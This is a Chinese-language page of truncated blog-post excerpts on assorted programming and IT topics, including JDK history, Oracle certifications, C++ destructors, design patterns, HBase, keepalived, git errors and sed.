JDK发展历史和开源 2006年SUN公司开源JDK&#xff0c;成立OpenJDK组织。2009年Oracle收购SUN&#xff0c;加快JDK发布周期。Oracle JDK与OpenJDK功能基本一致&#xff0c;但Oracle JDK提供更长时间的更新支持。 JDK版本特性 JDK11是长期支持版本&#xff08;LTS&#xff09;…...

oca和 ocp有什么区别

OCA&#xff08;Oracle Certified Associate&#xff09;和OCP&#xff08;Oracle Certified Professional&#xff09;在Oracle的认证体系中是两种不同级别的认证&#xff0c;它们之间存在明显的区别。以下是对两者区别的详细解释&#xff1a; 认证级别&#xff1a; OCA&…...

煤矿安全大模型:微调internlm2模型实现针对煤矿事故和煤矿安全知识的智能问答

煤矿安全大模型————矿途智护者 使用煤矿历史事故案例,事故处理报告、安全规程规章制度、技术文档、煤矿从业人员入职考试题库等数据,微调internlm2模型实现针对煤矿事故和煤矿安全知识的智能问答。 本项目简介: 近年来,国家对煤矿安全生产的重视程度不断提升。为了确…...

C++中的C++中的虚析构函数的作用和重要性

在C中&#xff0c;虚析构函数&#xff08;virtual destructor&#xff09;的作用和重要性主要体现在多态和继承的上下文中。了解这一点之前&#xff0c;我们先简要回顾一下多态和继承的基本概念。 继承与多态 继承&#xff1a;允许我们定义一个基类&#xff08;也称为父类或超…...

机器学习 - 文本特征处理之 TF 和 IDF

TF&#xff08;Term Frequency&#xff0c;词频&#xff09;和IDF&#xff08;Inverse Document Frequency&#xff0c;逆文档频率&#xff09;是文本处理和信息检索中的两个重要概念&#xff0c;常用于计算一个词在文档中的重要性。下面是详细解释&#xff1a; TF&#xff08…...

因为自己淋过雨所以想给嵌入式撑把伞

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「嵌入式的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01;新手学嵌入式&#xff0c;…...

《C++20设计模式》中单例模式

文章目录 一、前言二、饿汉式1、实现 三、懒汉式1、实现 四、最后 一、前言 单例模式定义&#xff1a; 单例模式&#xff08;Singleton Pattern&#xff09;是一种创建型设计模式&#xff0c;其主要目的是确保一个类只有一个实例&#xff0c;并提供全局访问点来访问这个实例。…...

前端技术(说明篇)

Introduction ##编写内容&#xff1a;1.前端概念梳理 2.前端技术种类 3.前端学习方式 ##编写人&#xff1a;贾雯爽 ##最后更新时间&#xff1a;2024/07/01 Overview 最近在广州粤嵌进行实习&#xff0c;项目名称是”基于Node实现多人聊天室“&#xff0c;主要内容是对前端界…...

带电池监控功能的恒流直流负载组

EAK的交流和直流工业电池负载组测试仪对于测试和验证关键电力系统的能力至关重要&#xff0c;旨在实现最佳精度。作为一家客户至上的公司&#xff0c;我们继续尽我们所能应对供应链挑战&#xff0c;以提供出色的交货时间&#xff0c;大约是行业其他公司的一半。 交流负载组 我…...

关于Disruptor监听策略

Disruptor框架提供了多种等待策略&#xff0c;每种策略都有其适用的场景和特点。以下是这些策略的详细介绍及其适用场景&#xff1a; 1. BlockingWaitStrategy 特点&#xff1a; 使用锁和条件变量进行线程间通信&#xff0c;线程在等待时会进入阻塞状态&#xff0c;释放CPU资…...

大数据面试题之HBase(3)

HBase的预分区 HBase的热点问题 HBase的memstore冲刷条件 HBase的MVCC HBase的大合并与小合并&#xff0c;大合并是如何做的?为什么要大合并 既然HBase底层数据是存储在HDFS上&#xff0c;为什么不直接使用HDFS&#xff0c;而还要用HBase HBase和Phoenix的区别 HBase支…...

c#中赋值、浅拷贝和深拷贝

在 C# 编程中&#xff0c;深拷贝&#xff08;Deep Copy&#xff09;和浅拷贝&#xff08;Shallow Copy&#xff09;是用于复制对象的两种不同方式&#xff0c;它们在处理对象时有着重要的区别和适用场景。 浅拷贝&#xff08;Shallow Copy&#xff09; 浅拷贝是指创建一个新对…...

旧版st7789屏幕模块 没有CS引脚的天坑 已解决!!!

今天解决了天坑一个&#xff0c;大家可能有的人买的是st7789屏幕模块&#xff0c;240x240&#xff0c;1.3寸的 他标注的是老版&#xff0c;没有CS引脚&#xff0c;小崽子长这样&#xff1a; 这熊孩子用很多通用的驱动不吃&#xff0c;死活不显示&#xff0c;网上猛搜&#xff…...

激光粒度分析仪校准步骤详解:提升测量精度的秘诀

在材料科学、环境监测、医药研发等众多领域&#xff0c;激光粒度分析仪以其高精度、高效率的测量性能&#xff0c;成为了不可或缺的测试工具。然而&#xff0c;为了保持其测量结果的准确性和可靠性&#xff0c;定期校准是不可或缺的步骤。 接下来&#xff0c;佰德将为您详细介…...

独一无二的设计模式——单例模式(python实现)

1. 引言 大家好&#xff0c;今天我们来聊聊设计模式中的“独一无二”——单例模式。想象一下&#xff0c;我们在开发一个复杂的软件系统&#xff0c;需要一个全局唯一的配置管理器&#xff0c;或者一个统一的日志记录器&#xff1b;如果每次使用这些功能都要创建新的实例&…...

第二证券:可转债基础知识?想玩可转债一定要搞懂的交易规则!

可转债&#xff0c;全称是“可转化公司债券”&#xff0c;是上市公司为了融资&#xff0c;向社会公众所发行的一种债券&#xff0c;具有股票和债券的双重特点&#xff0c;投资者可以选择按照发行时约定的价格将债券转化成公司一般股票&#xff0c;也可作为债券持有到期后收取本…...

原型模式的实现

1. 引言 1.1 背景 在实际编程中,有时需要频繁创建多个相似但稍有不同的对象。如果采用传统的对象创建方式,容易造成代码冗余,对象重复初始化操作也可能带来大量的的资源消耗(如时间、内存等)。这样不仅降低了灵活性,导致难以适应状态的变化,还降低了代码的可扩展性。 …...

【第二套】华为 2024 年校招-硬件电源岗

1.为了避免 50Hz 的电⽹电压⼲扰放⼤器&#xff0c;应该⽤那种滤波器&#xff1a; A.带阻滤波器 B.带通滤波器 C.低通滤波器 D.⾼通滤波器 2.PID 中的 I 和 D 的作⽤分别是&#xff1f; A、消除静态误差和提⾼动态性能 B、消除静态误差和减⼩调节时间 C、提⾼动态性能和减⼩超调…...

Xilinx FPGA:vivado利用单端RAM/串口传输数据实现自定义私有协议

一、项目要求 实现自定义私有协议&#xff0c;如&#xff1a;pc端产生数据&#xff1a;02 56 38 &#xff0c;“02”代表要发送数据的个数&#xff0c;“56”“38”需要写进RAM中。当按键信号到来时&#xff0c;将“56”“38”读出返回给PC端。 二、信号流向图 三、状态…...

Spark on k8s 源码解析执行流程

Spark on k8s 源码解析执行流程 1.通过spark-submit脚本提交spark程序 在spark-submit脚本里面执行了SparkSubmit类的main方法 2.运行SparkSubmit类的main方法&#xff0c;解析spark参数&#xff0c;调用submit方法 3.在submit方法里调用doRunMain方法&#xff0c;最终调用r…...

粤港联动,北斗高质量国际化发展的重要机遇

今年是香港回归27周年&#xff0c;也是《粤港澳大湾区发展规划纲要》公布5周年&#xff0c;5年来各项政策、平台不断为粤港联动增添新动能。“十四五”时期的粤港澳大湾区&#xff0c;被国家赋予了更重大的使命&#xff0c;国家“十四五”《规划纲要》提出&#xff0c;以京津冀…...

Chrome导出cookie的实战教程

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…...

视频文字转语音经验笔记

自媒体视频制作的一些小经验&#xff0c;分享给大家。 一、音频部分&#xff1a; 1、文字转语音阐述&#xff1a; 微软语音识别 云希-青年男&#xff0c; 0.5-0.8变速 。注&#xff1a;云泽-中年男&#xff08;不支持长音频录制&#xff09;&#xff0c; 适合郑重场合&#…...

视频融合共享平台LntonCVS统一视频接入平台智慧安防应用方案

安防视频监控平台LntonCVS是一款拥有强大拓展性和灵活部署能力的综合管理平台。它支持多种主流标准协议&#xff0c;包括国标GB28181、RTSP/Onvif、RTMP等&#xff0c;同时兼容各厂家的私有协议和SDK&#xff0c;如海康Ehome、海大宇等。LntonCVS不仅具备传统安防视频监控功能&…...

使用Python绘制动态螺旋线:旋转动画效果

文章目录 引言准备工作前置条件 代码实现与解析导入必要的库初始化Pygame绘制螺旋线函数主循环 完整代码 引言 螺旋线是一个具有美学和数学魅力的图形。通过编程&#xff0c;我们可以轻松创建动态旋转的螺旋线动画。在这篇博客中&#xff0c;我们将使用Python和Pygame库来实现…...

Symfony实战手册:PHP框架的高级应用技巧

引言 Symfony是一个功能强大且广泛应用于PHP应用程序开发的框架&#xff0c;它提供了许多高级特性和工具&#xff0c;可以帮助开发人员更高效地构建和管理复杂的Web应用程序。以下是Symfony框架的几个关键方面及其高级应用技巧&#xff1a; 1. 路由和控制器 Symfony的路由组…...

TOGAF培训什么内容?参加TOGAF培训有什么好处?考试通过率多少?

TOGAF培训什么内容&#xff1f;参加TOGAF培训有什么好处&#xff1f;考试通过率多少&#xff1f; TOGAF培训哪些内容&#xff1f; 通过本课程&#xff0c;你将掌握TOGAF的理论和实践&#xff0c;理解企业架构的影响&#xff0c;能够评估、启动、设 计、执行新一轮企业和IT架构…...

keepalived HA nginx方案

安装 centos: yum -y install epel-release yum -y install nginx keepalivedkeepalived配置解析 /etc/keepalived/keepalived.conf ! Configuration File for keepalived # 全局变量 global_defs {router_id nginx_ha # 主从保持一致script_user root # 执行健康检查的…...

报错:pathspec ‘xxx‘ did not match any file(s) known to git

在 escode 中进行分支切换时报如下错误 PS > git checkout xxx error: pathspec xxx did not match any file(s) known to git远程分支已经在 gitlab 客户端手动创建&#xff0c;在 escode 中也使用了拉取之类的操作&#xff0c;但是切换分支时依然报错。 解决方案 查看分…...

sed 保持空间命令之 x 的执行逻辑

目录 1. 将模式空间和保持空间的内容互换并打印 2. 将保持空间的内容交换回模式空间 3. 使用保持空间保存状态信息 4. 交换模式空间与保持空间隔行匹配 sed 有两个内置的缓存空间&#xff1a; 模式空间&#xff1a;该空间是 sed 内置的一个缓冲区&#xff0c;是 sed 执行的…...

按位异或^

在 Python 中&#xff0c;a ^ b 表示按位异或运算符。按位异或运算符对整数的每一位进行运算&#xff0c;如果对应位上的两个二进制数字不同&#xff0c;则结果为 1&#xff0c;否则为 0。 示例 a 5 # 二进制: 0101 b 3 # 二进制: 0011result a ^ b print(result) # 输…...

《企业实战分享 · 常用运维中间件》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; 近期刚转战 CSDN&#xff0c;会严格把控文章质量&#xff0c;绝不滥竽充数&#xff0c;如需交流&#xff…...